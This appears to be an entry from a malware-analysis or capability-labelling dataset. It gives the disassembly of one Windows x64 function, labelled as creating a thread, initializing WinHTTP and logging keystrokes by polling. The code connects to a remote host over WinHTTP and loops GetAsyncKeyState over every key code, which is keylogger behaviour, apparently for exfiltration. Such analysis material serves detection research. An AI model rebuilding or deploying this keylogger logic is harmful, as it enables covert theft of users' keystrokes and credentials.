Function at 0x1400036b0
Capabilities:
Create thread
Initialize winhttp library
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x14000a010]
xor rax, rsp
mov qword [rsp + 0x60], rax
xor ebp, ebp
lea rcx, [0x140007748]
xor r9d, r9d
mov dword [rsp + 0x20], ebp
xor r8d, r8d
xor edx, edx
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
test rax, rax
jne 0x140003703
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.___Failed_to_open_session__n
jmp 0x140003718
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___Client_session_started._n
mov qword [0x14000a710], rax
call fcn.140003cf0
call fcn.140001350
movzx esi, word [0x14000a728]
lea rdx, [0x14000a750]
lea rcx, [rsp + 0x40]
call fcn.140003a60
mov rbx, rax
mov rdx, rax
cmp qword [rax + 0x18], 8
jb 0x14000374a
mov rdx, qword [rax]
mov rcx, qword [0x14000a710]
xor r9d, r9d
movzx r8d, si
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rsi, rax
test rax, rax
jne 0x1400037de
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str._X__Failed_to_connect_session
call fcn.140003cf0
mov rcx, rax
lea rdx, [0x140003ec0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [0x14000a710]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rdx, qword [rbx + 0x18]
cmp rdx, 8
jb 0x1400037d5
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x1400037d0
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400038af
mov rcx, r8
call fcn.1400051bc
mov rsi, rbp
movzx r9d, bp
jmp 0x140003833
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___Session_connected._n
call fcn.140003cf0
mov rdx, qword [rbx + 0x18]
cmp rdx, 8
jb 0x140003830
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x14000382b
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400038af
mov rcx, r8
call fcn.1400051bc
mov r9d, ebp
mov r8d, 0x10
mov rdx, rbp
mov eax, 7
mov rcx, rbx
mov ecx, r8d
mov qword [rbx + r8], rdx
mov qword [rbx + 0x18], rax
mov word [rbx], r9w
mov qword [0x14000a720], rsi
call fcn.140004e60
lea rcx, [0x140001aa0]
mov r9, rax
lea r8, [0x140004dc0]
xor edx, edx
mov qword [rax + 8], rcx
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov qword [rax], rbp
mov dword [rsp + 0x20], ebp
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1400039de
cmp dword [rsp + 0x38], ebp
jne 0x1400038b6
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
movaps xmm0, xmmword [rsp + 0x30]
lea rcx, [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
je 0x1400038d9
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
xorps xmm0, xmm0
mov esi, 0xffff8001
movdqa xmmword [rsp + 0x30], xmm0
mov edi, 8
nop dword [rax]
mov ecx, edi
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cmp ax, si
jne 0x14000398b
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx ebx, ax
mov ecx, 0x14
shr ebx, 0xf
call qword [sym.imp.USER32.dll_GetKeyState]
and al, 1
and bl, 1
jne 0x14000392d
test al, al
jne 0x14000392d
xor r8b, r8b
jmp 0x140003930
mov r8b, 1
mov edx, edi
lea rcx, [rsp + 0x40]
call fcn.140002320
lea rdx, [rsp + 0x40]
lea rcx, [0x14000a790]
call fcn.140003c30
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14000398b
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003986
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400039b2
call fcn.1400051bc
cmp edi, 0xff
jge 0x1400038e7
inc edi
cmp edi, 0xff
jle 0x1400038f0
cmp dword [rsp + 0x38], ebp
je 0x1400039b9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140004e40
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
mov ecx, 6
mov dword [rsp + 0x38], ebp
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3